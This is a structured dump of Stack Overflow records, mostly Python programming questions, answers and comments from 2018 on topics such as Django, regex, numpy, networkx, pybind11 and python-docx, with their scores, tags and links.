http://stackoverflow.com/a/48647587
has body: Your players are references functions: players= { '1': robot, '2': human } Later you call them player1 and player2: player1=players[number1] player2=players[number2] But when you use these functions you don't do anything with the return value: player1(int(msg)) ... player2(int(msg)) So those functions return something, but you ignore the value. You need to either print that return value or assign it to a variable so you can do something with the value later. Since your return values are called total perhaps you want: total = player1(int(msg)) print('new total:', total)
has comment: http://stackoverflow.com/comment/84293994
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/48647403
type: Answer
upvote count: 1
accepted answer of: http://stackoverflow.com/q/48647403
score: 1

http://stackoverflow.com/q/48719739
score: 0
has body: I am programming a simple basic calculator where I get the input from the user taking the input and do the calculation and display the output back on the same page I have a basic HTML form {% csrf_token %} First Number: Second Number: Operation: Addition Subraction Muntiplication Division Ajax logic to prevent from refreshing the page $(document).ready(function(){ $('#html_calc_form').submit(function(event){ console.log(event); event.preventDefault() $.ajax({ url:'calc/', type:'POST', data:$(this).serialize(), success:function(response){ console.log(response); $('form')[0].reset(); } }); }) }) In django I have creates a model class Calculation(models.Model): first_digit = models.DecimalField(max_digits=7, decimal_places=3) second_digit = models.DecimalField(max_digits=7, decimal_places=3) CALCULATION_CHOICE = (('+', 'Addition'), ('-', 'Subraction'), ('*', 'Muntiplication'), ('/', 'Division')) calculate = models.CharField(max_length=1, choices=CALCULATION_CHOICE) And finaly my view def calc(request): if request.method == 'POST': first_number = request.POST['first number'] second_number = request.POST['second number'] operation = request.POST['operation'] result = do_calc(operation, first_number, second_number) # how to pass the result to my tempelate value = Calculation.objects.create( first_digit=first_number, second_digit=second_number, calculate=operation ) return JsonResponse(model_to_dict(value)) def index(request): return render(request, 'calculation/calculator.html') I want to pass the result to my HTML template and display it in the output field once I hit the submit button on the same page.
type: UnansweredQuestion
tagged with: django
tagged with: python
has answer: http://stackoverflow.com/a/48719859
type: Question
answer count: 1
has title: Display output with out refresh using Django, Ajax
tagged with: ajax

http://stackoverflow.com/q/48698204
score: 1
has answer: http://stackoverflow.com/a/48698631
upvote count: 1
has title: Space after end=""
type: Question
has answer: http://stackoverflow.com/a/48698278
has answer: http://stackoverflow.com/a/48699813
has body: I have the lines programmed as below: mystring="Phyton is totally awesome" for q in mystring[::4]: print(q,end="") mystring_2="Phyton is totally awesome" for r in mystring_2[::4]: print(r,end="") When run the results for mystring_2 just appends right after mystring1: PostyeePostyee I would like the results such that mystring2 result will be under mystring1. But I think I am missing something.
answer count: 3
downvote count: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/84395184
type: UnansweredQuestion
tagged with: python
tagged with: spacing

python-2.6
type: Tag
tag name: python-2.6
tags question: http://stackoverflow.com/q/48755071
tags question: http://stackoverflow.com/q/48663099
tags question: http://stackoverflow.com/q/48683024
tags question: http://stackoverflow.com/q/48736692

http://stackoverflow.com/q/48654715
tagged with: python-docx
favorite count: 0
has answer: http://stackoverflow.com/a/48655611
tagged with: python
upvote count: 11
type: AnsweredQuestion
type: Question
has body: I am trying to add a page break to the middle of a document using the docx-python library. It would appear that when adding a pagebreak, the page break is added to the end of the document. Is there a method to add a page break to a specific location? This is my current code. from docx import Document from docx.shared import Inches demo='gm.docx' document = Document(docx=demo) for paragraph in document.paragraphs: if 'PUB' in paragraph.text: document.add_page_break() document.save('gm.docx')
has title: Page break via python-docx in MS Word docx file appears only at the end
accepted answer: http://stackoverflow.com/a/48655611
has comment: http://stackoverflow.com/comment/131821253
score: 11
downvote count: 0
answer count: 1

http://stackoverflow.com/q/48652109
downvote count: 0
favorite count: 0
answer count: 3
has comment: http://stackoverflow.com/comment/84302217
has answer: http://stackoverflow.com/a/48652134
has title: shorten a list of integers by sums of contiguous positive or negative numbers
has answer: http://stackoverflow.com/a/48652551
tagged with: python
has body: I would like to write a function to process a list of integers, best way is to show as an example: input [0,1,2,3, -1,-2,-3, 0,1,2,3, -1,-2,-3] will return [6,-6,6,-6] I have a draft here that will actually work: def group_pos_neg_list(nums): p_nums = [] # to determine if the first element &gt;=0 or &lt;0 # create pos_combined and neg_combined as a list to check the length in the future if nums[0] &gt;= 0: pos_combined, neg_combined = [nums[0]], [] elif nums[0] &lt; 0: pos_combined, neg_combined = [], [nums[0]] # loop over each element from position 1 to the end # accumulate pos num and neg nums and set back to 0 if next element is different index = 1 while index &lt; len(nums): if nums[index] &gt;= 0 and nums[index-1] &gt;= 0: # both posivite pos_combined.append(nums[index]) index += 1 elif nums[index] &lt; 0 and nums[index-1] &lt; 0: # both negative neg_combined.append(nums[index]) index += 1 else: if len(pos_combined) &gt; 0: p_nums.append(sum(pos_combined)) pos_combined, neg_combined = [], [nums[index]] elif len(neg_combined) &gt; 0: p_nums.append(sum(neg_combined)) pos_combined, neg_combined = [nums[index]], [] index += 1 # finish the last combined group if len(pos_combined) &gt; 0: p_nums.append(sum(pos_combined)) elif len(neg_combined) &gt; 0: p_nums.append(sum(neg_combined)) return p_nums But I am not quite happy with it, because it looks a bit complicate. Especially that there is a repeating part of code: if len(pos_combined) &gt; 0: p_nums.append(sum(pos_combined)) pos_combined, neg_combined = [], [nums[index]] elif len(neg_combined) &gt; 0: p_nums.append(sum(neg_combined)) pos_combined, neg_combined = [nums[index]], [] I have to write this twice as the final group of integers will not be counted in the loop, so an extra step is needed. Is there anyway to simplify this?
tagged with: list
upvote count: 3
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/48652132
score: 3
accepted answer: http://stackoverflow.com/a/48652134
has comment: http://stackoverflow.com/comment/84302490
has comment: http://stackoverflow.com/comment/84302476
has answer: http://stackoverflow.com/a/48652132
type: Question
has comment: http://stackoverflow.com/comment/84302260

http://stackoverflow.com/comment/84656372
comment on: http://stackoverflow.com/q/48685265
type: Comment
score: 1
has text: Hi @dsesto thanks for your reply, I managed to work this out, the 'customer' column was being used as the index, which was not sent to BigQuery. I replaced the index with range values and then the customer field was exported in the data as I wanted. It sounds like your suggestions would result in the same realization!
type: QuestionComment

http://stackoverflow.com/q/48721870
score: 6
tagged with: networkx
type: Question
has body: I create a graph with networkx and every node has some attributes. So i want to search all nodes for a specific attributes and save every node who has this attribute in a list. I wrote the following code but im getting an error: for node in G.nodes(): for attribute in G.node[node]['attributes']: if attribute in question: setOfUsers.append(node) With this code im getting the following error: for attribute in G.node[node]['attributes']: KeyError: 'attributes' So i search the forum and i tried something different to fix the problem: for node, data in G.nodes(data=True): if data['attributes'] == question[0]: setOfUsers.append(node) but i have the same error. How can iterate through the attributes? Update: I add the node attributes with the code below. I read the attributes from a file, i split commas and newline character and then i save list in nodes for line in file2: line = line.strip() words = line.split('\t') node = int(words[0]) attributes= words[1] splittedAttributes = attributes.split(',') if node in G.nodes(): G.node[node]['attributes'] = splittedAttributes
has comment: http://stackoverflow.com/comment/84443089
upvote count: 6
has title: Iterate through node attributes in networkx
answer count: 1
has comment: http://stackoverflow.com/comment/84442999
has answer: http://stackoverflow.com/a/48721971
has comment: http://stackoverflow.com/comment/84443032
favorite count: 0
tagged with: python-3.x
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84443617
tagged with: python
downvote count: 0

http://stackoverflow.com/q/48737488
has answer: http://stackoverflow.com/a/48737808
tagged with: numpy
score: 2
downvote count: 0
favorite count: 0
has body: I'm not sure if this is possible to do in numpy but what I would like is to create a tuple of coordinates. For example, for 3x3 matrix I want the matrix to be: [[(0,0), (0,1), (0,2)], [(1,0), (1,1), (1,2)], [(2,0), (2,1), (2,2)]] Because ultimately I want to pass the coordinates into a function and create a matrix of the func result So if the function was called myfunc had type (i,j) -&gt; k I would want the result matrix to look like this [[myfunc(0,0), myfunc(0,1), myfunc(0,2)], [myfunc(1,0), myfunc(1,1), myfunc(1,2)], [myfunc(2,0), myfunc(2,1), myfunc(2,2)]] And I've looked at solutions like np.meshgrid: i_indices, j_indices = np.meshgrid(np.arange(3),np.arange(3),indexing='ij') But then I'm still stuck b/c I don't know how to iterate through those coordinate matrices i_index and j_index without a for loop to create the resultant matrix I want. Basically is this possible to do in numpy? If so, how? Or will have have to use a for loop?
type: Question
tagged with: python
upvote count: 2
answer count: 1
has comment: http://stackoverflow.com/comment/84482274
type: UnansweredQuestion
has title: How to create matrix of tuple coordinates using numpy and then apply a function to each element?

http://stackoverflow.com/q/48698379
has answer: http://stackoverflow.com/a/48698407
type: Question
tagged with: python
tagged with: regex
has title: Remove React tags in HTML with Python expressions
accepted answer: http://stackoverflow.com/a/48698537
score: 0
answer count: 3
has answer: http://stackoverflow.com/a/48698543
has body: I am trying to use Python regular expression to remove some react tags in a HTML file. Part of the HTML file looks like this below. Price/Book (mrq) 8.36 And my Python regular expression code looks like this below. cleandUpCode = re.sub(r' ', '', sourceCode) sourceCode variable contains the raw HTML source code that has all the react junk in it. I can run the code and it would execute. But when I pipe the output to a file and check it, all the react junk tags are still there. Could someone help? Thank a lot in advance. -frank
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48698537
tagged with: http://stackoverflow.com/tag/html
possible better answer: http://stackoverflow.com/a/48698407

http://stackoverflow.com/q/48718779
downvote count: 0
has comment: http://stackoverflow.com/comment/84436727
favorite count: 0
type: UnansweredQuestion
tagged with: python
tagged with: dictionary
answer count: 0
has body: I have an issue which is relatively simple in principle but which is making me quite confused. So I have a folder containing many different datafiles of the form shown below: 4 val__for_label_0 val_for_label_1 val_for_label_2 val_for_label_3 ...... A value_1 value_2 value_3 value_4 B value_1 value_2 value_3 value_4 C value_1 value_2 value_3 value_4 D value_1 value_2 value_3 value_4 For all these file I want to extract information and store it in the following way. For each file a tuple (int, dict, dict) where ‘int’ is the first number on the upper left corner. in the first dict I already know the labels and I want to fill it with the labels values this way: “some_label_i”:” val_for_label_i” for all the values on the second row. the second dictionary contains “letter”:”[value_1,value_2,value_3]” in the same row, for each one of the other rows starting with a letter. I don’t need to include the 4th value on the rows. Do you have suggestions how to do it in the most efficient, quick and powerful way? There is also someway to implement all the tuples (one from each of these files) in a single organized database easy to handle and access in python with numpy? Thanks in advance for your help !
score: 1
has title: Reshaping dataset from file to tuple
upvote count: 1
type: Question
tagged with: numpy
has comment: http://stackoverflow.com/comment/84436824
tagged with: database

http://stackoverflow.com/q/48679819
score: 3
upvote count: 3
has title: Python Click CLI Library - retry input prompt on validation error
has comment: http://stackoverflow.com/comment/84356962
has comment: http://stackoverflow.com/comment/84356845
type: Question
downvote count: 0
favorite count: 0
answer count: 1
has answer: http://stackoverflow.com/a/50079310
has body: I'm using the Click library to create a small CLI tool. At a certain point I prompt for a user's e-mail that is validated. When the validation fails, the tool exits with an error code. Is there an option/functionality/method to let click retry asking a valid e-mail from the user? Could not find any reference to it in the manual. Actually I want the same behaviour as the password prompt in the below example. When the two entered passwords are not the same, the password has to be re-entered again. Is it possible to enable this for any prompt? def validate_email(ctx, param, value): if not re.match(r"(^[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+$)", value): raise click.UsageError('Incorrect email address given') else: return value @click.command() @click.option('--email', prompt="E-mail address", callback=validate_email) @click.option('--password', hide_input=True, confirmation_prompt=True) def ask_email(email, password): click.echo('Valid Email: ' + email) Thanks!
tagged with: python-3.x
type: UnansweredQuestion
tagged with: python

http://stackoverflow.com/q/48750204
score: 2
type: AnsweredQuestion
favorite count: 0
has answer: http://stackoverflow.com/a/48750243
type: Question
possible better answer: http://stackoverflow.com/a/48750449
tagged with: python
tagged with: regex
has answer: http://stackoverflow.com/a/48750449
upvote count: 3
accepted answer: http://stackoverflow.com/a/48750243
downvote count: 1
has answer: http://stackoverflow.com/a/48750262
has body: I'm doing a regex on a string to find a certain pattern: fileName = '123456_BI12554_AA_0021.jpg' id = re.findall(r'(_BI\d{5}_)', fileName) Which finds _BI12554_ but sometimes there are 6 digits and not just 5. Is there a way to find all the digits between _BI and _ regardless of how many there are?
has comment: http://stackoverflow.com/comment/84500792
has answer: http://stackoverflow.com/a/48750252
has title: Regex in python, find a range of lengths
answer count: 4

http://stackoverflow.com/q/48704893
accepted answer: http://stackoverflow.com/a/48755309
has title: Reading dataframe from multiple input paths and adding columns simultaneously
favorite count: 0
upvote count: 2
has comment: http://stackoverflow.com/comment/84414230
tagged with: python
score: 2
type: AnsweredQuestion
has body: I am trying to read multiple input paths and based on the dates in the paths adding two columns to the data frame. Actually the files were stored as orc partitioned by these dates using hive so they have a structure like s3n://bucket_name/folder_name/partition1=value1/partition2=value2 where partition2 = mg_load_date . So here I am trying to fetch multiple directories from multiple paths and based on the partitions I have to create two columns namely mg_load_date and event_date for each spark dataframe. I am reading these as input and combining them after I add these two columns finding the dates for each file respectively. Is there any other way since I have many reads for each file, to read all the files at once while adding two columns for their specific rows. Or any other way where I can make the read operation fast since I have many reads. I guess reading all the files like this sqlContext.read.format('orc').load(inputpaths) is faster than reading them individually and then merging them. Any help is appreciated. dfs = [] for i in input_paths: df = sqlContext.read.format('orc').load(i) date = re.search('mg_load_date=([^/]*)/$', i).group(1) df = df.withColumn('event_date',F.lit(date)).withColumn('mg_load_date',F.lit(date)) dfs+=[df] df = reduce(DataFrame.unionAll,dfs)
possible better answer: http://stackoverflow.com/a/49315201
has answer: http://stackoverflow.com/a/49315201
has answer: http://stackoverflow.com/a/48755309
type: Question
answer count: 2
downvote count: 0
tagged with: pyspark
tagged with: apache-spark

http://stackoverflow.com/q/48686702
answer count: 0
tagged with: matplotlib
linked to: http://stackoverflow.com/q/48380953
type: Question
has body: l would like to plot in the same plot labels_train ans labels_test distribution in the same plot. l have 101 classes (string) to be shonwn in the x-axis. Since there are strings l got the following error : ValueError: could not convert string to float: 'sitdown' at the following line code : ax1.plot(labels, values, label=' train classes') Here is my code : import matplotlib.pyplot as plt from collections import Counter def make_plot(train_labels,test_labels): labels2, values2 = zip(*Counter(test_labels).items()) print("labels ", labels2) print("lvalues", values2) labels, values = zip(*Counter(train_labels).items()) print("labels ", labels) print("lvalues", values) fig1, ax1 = plt.subplots() ax1.plot(labels, values, label=' train classes') ax1.plot(labels2, values2, label=' test classes') ax1.set_xlabel("classes") ax1.set_ylabel("number of examples") ax1.set_title("data distibution") ax1.legend(loc='best') fig1.show() EDIT l updated my conda environment to get matplotlib 2.1 as suggested by @ ImportanceOfBeingErnest. However l get a disordered plot so l did the following to reorder the labels. lists = sorted(zip(*[labels2, values2])) labels2, values2 = list(zip(*lists)) lists2 = sorted(zip(*[labels, values])) labels2, values2 = list(zip(*lists2)) labels=['Typing', 'Surfing', 'CricketBowling', 'JugglingBalls', 'BoxingSpeedBag',...] lvalues=[46, 38, 39, 34, 40,...] labels2=['Rafting', 'Punch', 'ApplyEyeMakeup', 'JumpRope', 'PlayingDhol',...] lvalues2=[78, 112, 106, 105, 116,...] But is still doesn't make sense. I need to get the same order of labels to share the x-axis between the two plot. rotation='vertical' within ax1.plot() is not accepted as in plt.xticks(rotation='vertical')
has comment: http://stackoverflow.com/comment/84371097
duplicate of: http://stackoverflow.com/q/48380953
tagged with: sorting
has comment: http://stackoverflow.com/comment/84371476
has comment: http://stackoverflow.com/comment/84374036
score: 0
has comment: http://stackoverflow.com/comment/84374512
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/84371321
has title: Reorder x and x' lists to share same x-axis in same plot
has comment: http://stackoverflow.com/comment/84371333

http://stackoverflow.com/comment/84447142
score: 0
type: Comment
type: AnswerComment
has text: hey @jezrael .. https://stackoverflow.com/questions/48719674/how-to-use-different-combinations-of-group-by-while-trying-to-get-the-top-most-v ....can you answer this ?
comment on: http://stackoverflow.com/a/48680999

http://stackoverflow.com/q/48744971
has title: How to use autoescape off AND static variables inside django template
answer count: 0
has comment: http://stackoverflow.com/comment/84490357
upvote count: 2
type: UnansweredQuestion
tagged with: django
tagged with: python
has comment: http://stackoverflow.com/comment/84489776
score: 2
type: Question
tagged with: tags
has comment: http://stackoverflow.com/comment/84489984
downvote count: 0
has comment: http://stackoverflow.com/comment/84490854
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/84490623
tagged with: templates
has body: I'm using auto generated HTML which has been saved to a file and then read in again to use as part of a page in a django template. In order to do this I have used: {% autoescape off %} {{ my_html }} {% endautoescape %} However, in the my_html variable, I have some static content. This comes in the form of something like this: &lt;img src="{% static "img/tree_report.png" %}" width="12px" height="12px"/&gt; My issue is that the static content is not displayed. I get: http://127.0.0.1:8000/%7B%%20static 404 (in the browser error report) I read something about get_static_prefix in another question but that doesn't solve my problem because I just get this instead: GET http://127.0.0.1:8000/%7B%%20get_static_prefix%20%%7Dimg/tree_report.png 404 (Not Found) I also tried endautoscape turning on and off periodically in my_html in the saved HTML variable. That also didn't work. Should I be autogenerating the development and production static files paths for my_html or is there a more elegant solution to this problem? Any suggestions are most welcome. Thanks.
favorite count: 0

http://stackoverflow.com/q/48700732
has title: In Python, why does 04000 // 1000 return 2?
has answer: http://stackoverflow.com/a/48700764
favorite count: 0
tagged with: python
tagged with: floor-division
has answer: http://stackoverflow.com/a/48700768
type: AnsweredQuestion
has body: I am trying to separate a 5 digit number into its digits using floor division followed by modulo for each digit. Why does 04000 // 1000 return 2? &gt;&gt;&gt; 04//1 4 &gt;&gt;&gt; 040//10 3 &gt;&gt;&gt; 0400//100 2 &gt;&gt;&gt; 04000//1000 2 &gt;&gt;&gt; 4//1 4 &gt;&gt;&gt; 40//10 4 &gt;&gt;&gt; 400//100 4 &gt;&gt;&gt; 4000//1000 4
upvote count: 2
downvote count: 3
accepted answer: http://stackoverflow.com/a/48700764
possible better answer: http://stackoverflow.com/a/48700768
type: Question
tagged with: math
score: -1
has comment: http://stackoverflow.com/comment/84400340
answer count: 2

http://stackoverflow.com/q/48686212
has comment: http://stackoverflow.com/comment/84369971
has comment: http://stackoverflow.com/comment/84369856
has body: I was wondering if there is a simple way in python to transfer pycountry.language.alpha2 strings like 'en', 'de', 'cs'... to locales i.e. strings like 'en_US', 'de_DE', 'cs_CZ' and so on. Even wonder if there exists a unambiguous translation. To be more specific I need this, because we store language in ISO639-1 format but netsuite rest api requires locale and they somehow determine language of invoice by that...
has answer: http://stackoverflow.com/a/48686885
score: -1
has comment: http://stackoverflow.com/comment/84370358
type: Question
has comment: http://stackoverflow.com/comment/84370916
upvote count: 0
has comment: http://stackoverflow.com/comment/84370110
answer count: 1
tagged with: netsuite
favorite count: 0
has comment: http://stackoverflow.com/comment/84369921
type: UnansweredQuestion
has title: Is there a way to transform language to locale?
tagged with: python
downvote count: 1

http://stackoverflow.com/q/48677331
type: Question
tagged with: pyside
has body: How do i add a custom qwidget to a QListWidget in order to gain list widget features like selection, scrolling, improved memory management, etc. My goal is to create a layermanager similar to what many of you have seen in programs like Photoshop or Affinity Photo. I will eventually be extending my LayerWidget to have more controls than just a simple Label and Checkbox. A previous question here (https://stackoverflow.com/a/30802784/3156300) on SO a user mentions using a QListWidget and QListWidgetItem to create what I'm attempting to do. However after further research I've come up short on figuring out how to take my custom widget and append it to the listWidget like he mentions. Photoshop/Affinity Photo import sys from PySide import QtGui, QtCore class LayerObject(object): def __init__(self, **kwargs): self.name = kwargs.get('name', '') self.enabled = kwargs.get('enabled', False) class LayerWidget(QtGui.QWidget): def __init__(self, layer): super(LayerWidget, self).__init__() self.resize(400, 50) # controls self.ui_enabled = QtGui.QCheckBox() self.ui_layername = QtGui.QLabel() self.ui_items = QtGui.QComboBox() self.ui_items.addItems(['Color','Saturation','Blend']) main_layout = QtGui.QHBoxLayout() main_layout.addWidget(self.ui_layername) main_layout.addWidget(self.ui_items) main_layout.addStretch() main_layout.addWidget(self.ui_enabled) self.setLayout(main_layout) # construct self._layer = None self.layer = layer # properties @property def layer(self): return self._layer @layer.setter def layer(self, value): self._layer== value self.ui_layername.setText(value.name) self.ui_enabled.setChecked(value.enabled) class LayerManager(QtGui.QWidget): def __init__(self): super(LayerManager, self).__init__() self.resize(400, 300) # controls self.ui_scroll = QtGui.QWidget() self.ui_scroll_layout = QtGui.QVBoxLayout() self.ui_scroll.setLayout(self.ui_scroll_layout) self.ui_scroll_area = QtGui.QScrollArea() self.ui_scroll_area.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOn)…
accepted answer: http://stackoverflow.com/a/48677453
answer count: 1
downvote count: 0
favorite count: 0
tagged with: qlistwidget
has answer: http://stackoverflow.com/a/48677453
tagged with: python
type: AnsweredQuestion
score: 1
has title: Adding Custom QWidget to QListWidget
upvote count: 1
linked to: http://stackoverflow.com/q/30800551

http://stackoverflow.com/q/48658449
answer count: 1
has title: OpenCV convert Python code to Java
type: AnsweredQuestion
downvote count: 0
score: 1
favorite count: 0
type: Question
tagged with: python
has answer: http://stackoverflow.com/a/48659403
tagged with: opencv
tagged with: java
has body: I have the following Python code: ret,thresh = cv2.threshold(gray,5,255,cv2.THRESH_TOZERO) kernel1 = cv2.getStructuringElement(cv2.MORPH_ELLIPSE,(11,11)) kernel2 = np.ones((3,3),np.uint8) erosion = cv2.erode(thresh,kernel2,iterations = 1) dilation = cv2.dilate(erosion,kernel1,iterations = 7) I'm trying to convert it to Java. This is my current version: double thresh = Imgproc.threshold(gray, gray, 5, 255, Imgproc.THRESH_TOZERO); Mat kernel1 = Imgproc.getStructuringElement(Imgproc.MORPH_ELLIPSE, new Size(11, 11)); Mat kernel2 = Mat.ones(3, 3, CvType.CV_8U); Mat erosion = new Mat(); Imgproc.erode(gray, erosion, kernel2); Mat dilation = new Mat(); Imgproc.dilate(erosion, dilation, kernel1); Right now I'm unable to find a place where thresh parameter should be applied and also I'm not using the iterations parameter for Imgproc.erode and Imgproc.dilate methods because the method signature in this case also requires additional Point anchor parameter which I do not have right now. How to properly convert this code to Java? UPDATED I do the following translation: Mat erosion = new Mat(); Imgproc.erode(gray, erosion, kernel2, new Point(), 1); Mat dilation = new Mat(); Imgproc.dilate(erosion, dilation, kernel1, new Point(), 7); and looks like it is working as expected but I'm not sure about new Point() Is it a correct translation?
accepted answer: http://stackoverflow.com/a/48659403
upvote count: 1

http://stackoverflow.com/comment/84302288
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48652132
type: Comment
has text: Thanks! I do know how to use groupby, but what if I want to write my own version?

http://stackoverflow.com/q/48757559
downvote count: 0
favorite count: 0
type: UnansweredQuestion
tagged with: python
has body: I have Visual Studio 2017 and want to run Python. Everything I choose part of the code and select "send to interactive window", it showed error, i.e. Traceback (most recent call last): File "", line 1, in NameError: name 'BHI_DLL' is not defined I check the working directory and it always show os.getcwd() 'C:\Python27' How can I change the working directory to the folder where all my files are saved? thank you very much
tagged with: visual-studio
has answer: http://stackoverflow.com/a/75561726
score: 1
upvote count: 1
has answer: http://stackoverflow.com/a/48759765
has comment: http://stackoverflow.com/comment/84516487
type: Question
tagged with: visual-studio-2017
answer count: 2
has title: how to change visual studio 2017 working directory running Python

http://stackoverflow.com/comment/84567698
has text: yep, that is what i meant,
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48782980
score: 0

http://stackoverflow.com/comment/84351066
has text: this is outputting that found = false NameError: name 'false is not defined
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/48676295

http://stackoverflow.com/comment/84361058
type: AnswerComment
has text: hmm... i try it, but i get following error: json.decoder.JSONDecodeError: Invalid control character at: line 235 column 28 (char 7554); I was looking for a solution on the internet, but I did not really come up with one. I should use json.load (jsonstr, strict = false) but nothing changed in the error message.
comment on: http://stackoverflow.com/a/48661995
score: 0
type: Comment

http://stackoverflow.com/comment/84563472
has text: if(i==1) put value pass in row 18
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48781055

http://stackoverflow.com/q/48760797
has comment: http://stackoverflow.com/comment/84523053
tagged with: python
has body: I am using a python package that requires a .whl package to get pip installed. However, each operating system has it's own .whl file. Examples linux: PyAAF-1.0.0-cp27-cp27m-manylinux1_x86_64.whl mac: PyAAF-1.0.0-cp27-none-macosx_10_6_intel.whl Is there a way to set my requirements.txt file choose the correct .whl file according to the currently-running OS? Thanks
score: 0
tagged with: pip
answer count: 1
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/48762990
has title: How can I pip install whl file according to current operating system?
linked to: http://stackoverflow.com/q/29222269
type: Question

http://stackoverflow.com/comment/84445797
type: AnswerComment
has text: Can u help me with complete procedure of extending user model with field profile_image = models.FileField() I can't get those tutorials
type: Comment
score: 0
comment on: http://stackoverflow.com/a/48722802

http://stackoverflow.com/a/48653430
has body: The key notion here is backtracking. Whenever a pattern contains quantified subpatterns with varied length, the regex engine may match strings in various ways, and once a part of the regex after the quantified part fails to match some substring, it can backtrack, i.e. free up a char belonging to the quantified pattern and try to match with the subsequent subpatterns. Have a look at the bigger picture: Let's see how shorter strings match before jumping at the longer examples... Now, why a is not matched? Because there must be at least 2 chars since [a-z]+ and \1+ require to match at least 1 char. aa is matched since the first ([a-z]+) matched the whole string first, then backtracked to accommodate some text for the \1+ pattern (and it matches the second a), so there is a match. Three-a string aaa matches as a whole because the first ([a-z]+) matched the whole string first, then backtracked to accommodate some text for the \1+ pattern (note the capturing group had to only hold one a as when trying with two aa, the \1+ failed to match the final third a), and there is a match of three as. Now, coming to the examples in the question The aaaa string matches in its entirety is a similar way the aa matched: the capturing group pattern grabs the whole aaaa at first, then backtracks since \1+ also must "find" some text, and the regex engine tries to capture aaa into Group 1. However, \1+ fails to match 3 as, so backtracking goes on, and when there are two as in Group 1, the quantified backreference matches the last two as. And the k2 case now: The aaaaa string matches like this: aaaaa is grabbed and placed into Group 1 with the ([a-z]+) part \1+ cannot find any text, the engine retries to match the string differently as the part before the \1+ can match a different text thanks to the + quantifier aaaa is tried (=placed into Group 1), to no avail since \1+ does not match (as then \1 tries to match aaaa, but there is only a left before the end of string) aaa is tried, again, to…
score: 2
upvote count: 2
answers question: http://stackoverflow.com/q/48647645
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48647645
has comment: http://stackoverflow.com/comment/84315535
has comment: http://stackoverflow.com/comment/84315351
type: Answer

http://stackoverflow.com/a/48738270
has body: Check your PYTHONPATH environment variable. On Linux you can do echo $PYTHONPATH. Turns out my PYTHONPATH had several locations to different Python distributions from other packages I had installed. I removed them and the issue is resolved. The environment variable was also modified in my .bashrc file and I removed those.
type: AcceptedAnswer
score: 0
accepted answer of: http://stackoverflow.com/q/48695928
type: Answer
answers question: http://stackoverflow.com/q/48695928

http://stackoverflow.com/comment/84463567
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48732158
has text: I think there's an issue here that isn't covered well by the marked duplicates: that of distinguishing between dealing with a Pandas `Series` versus dealing with a single value.
score: 3

http://stackoverflow.com/comment/84452204
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48726419
has text: thanks for looking into this ...same user account when running script, the logs on the ssh server show identical entries when running from python vs from bash, so i think the login is ok

http://stackoverflow.com/comment/84483871
score: 1
has text: did you try something?
comment on: http://stackoverflow.com/q/48742113
type: Comment
type: QuestionComment

http://stackoverflow.com/q/48736838
score: 4
accepted answer: http://stackoverflow.com/a/48745831
favorite count: 0
tagged with: python
has title: py::vectorize + type_caster = NumPy type info missing
tagged with: c++
type: AnsweredQuestion
has body: In the last few days, I've been using pybind11 to create Python bindings for an existing C++ library, and I really like it! Sadly, I've just run into a little problem ... I'm trying to have two things: A custom type_caster that converts a third-party vector type to NumPy arrays and back A function returning this type, which is automatically vectorized by py::vectorize() Both things on their own work nicely. The vectorized function with scalar input also works nicely. However, if I call the vectorized function with an array as input, an exception is raised: Traceback (most recent call last): File "&lt;stdin&gt;", line 1, in &lt;module&gt; RuntimeError: NumPy type info missing for 3vecIdLi2EE What am I doing wrong? Or isn't this supposed to work at all? The following is my code reduced to a minimum. In my actual code, the vec class is part of a third party library and return_vector() is in my own code. mylib.cpp: #include &lt;pybind11/pybind11.h&gt; #include &lt;pybind11/numpy.h&gt; namespace py = pybind11; template&lt;typename T, int N&gt; struct vec { explicit vec(const T* data_) { for (int i = 0; i &lt; N; ++i) { this-&gt;data[i] = data_[i]; } } T data[N]; }; vec&lt;double, 2&gt; return_vector(double t) { double v[] = {t, t}; return vec&lt;double, 2&gt;{v}; } namespace pybind11 { namespace detail { template &lt;typename T, int N&gt; struct type_caster&lt;vec&lt;T, N&gt;&gt; { private: using _vecTN = vec&lt;T, N&gt;; public: PYBIND11_TYPE_CASTER(_vecTN, _("vec&lt;T, N&gt;")); bool load(py::handle src, bool convert) { if (!convert &amp;&amp; !py::array_t&lt;T&gt;::check_(src)) { return false; } auto buf = py::array_t&lt;T&gt;::ensure(src); if (!buf || buf.ndim() != 1 || buf.size() != N) { return false; } value = _vecTN{buf.data()}; return true; } static py::handle cast(const _vecTN&amp; src, py::return_value_policy policy, py::handle parent) { py::array_t&lt;T&gt; a({N}); for (auto i = 0; i &lt; N; ++i) { a.mutable_at(i) = src.data[i]; } return a.release(); } }; }} t…
has answer: http://stackoverflow.com/a/48745831
type: Question
upvote count: 4
answer count: 1
downvote count: 0
tagged with: pybind11

http://stackoverflow.com/a/48672489
answers question: http://stackoverflow.com/q/48672072
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/48672072
downvote count: 0
